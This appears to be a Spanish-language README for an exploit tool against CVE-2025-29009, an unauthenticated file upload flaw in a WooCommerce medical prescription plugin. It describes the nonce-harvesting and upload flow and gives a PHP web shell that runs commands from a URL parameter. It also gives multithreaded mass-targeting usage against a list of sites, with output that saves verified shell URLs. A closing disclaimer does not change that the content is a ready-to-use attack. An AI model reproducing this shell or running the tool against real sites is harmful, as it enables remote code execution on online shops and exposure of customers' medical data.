
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 es vulnerable a una subida arbitraria de archivos de alta prioridad.
WordPress Medical Prescription Attachment Plugin for WooCommerce <= 1.2.3 es vulnerable a una subida arbitraria de archivos de prioridad alta
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| Campo | Detalle |
|---|---|
| CVE | CVE-2025-29009 |
| Plugin | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| Afecta a | Todas las versiones ≤ 1.2.3 |
| Autenticación | No requerida |
| Tipo | Subida sin restricciones de archivo con tipo peligroso → Subida de Web Shell |
| CWE | CWE-434 · Subida sin restricciones de archivo con tipo peligroso |
Causa raíz:
El manejador AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) acepta subidas de archivos mediante wkwc_pa_prescription_attachment[] sin validar la extensión ni el tipo MIME en el lado del servidor. Un atacante no autenticado puede extraer el ajaxNonce de la tienda pública de WooCommerce (incrustado en el objeto JavaScript wkwcpaFrontObj) y subir una web shell PHP directamente al directorio de subidas del servidor. La respuesta devuelve la URL completa y accesible del archivo subido.
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Crea tu shell PHP e incrusta una cadena de firma única para que la herramienta pueda verificar la ejecución correcta:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
Guárdalo como shell.php en el mismo directorio que el script.
La cadena NxploitedShellOK es la firma — debe aparecer en la respuesta de la shell para que la verificación sea correcta.
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
Los objetivos sin
http://ohttps://reciben automáticamente el prefijohttp://.
| Archivo | Contenido |
|---|---|
shells.txt | Una URL de shell verificada por línea |
Terminal:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| Código | Significado |
|---|---|
shell_file_missing | shell.php no se encuentra en el directorio de trabajo |
no_front_page | Ninguna página candidata devolvió HTTP 200 |
nonce_not_found | wkwcpaFrontObj no está presente en ninguna página |
upload_error | Error de red durante el POST |
json_parse_error | La respuesta no es JSON válido |
success_false | El servidor devolvió data.success = false |
no_attachments | La subida se realizó correctamente, pero no hay ninguna URL en la respuesta |
shell_url_not_found | No se pudo extraer la URL del archivo del HTML de la respuesta |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Corregido en 1.2.4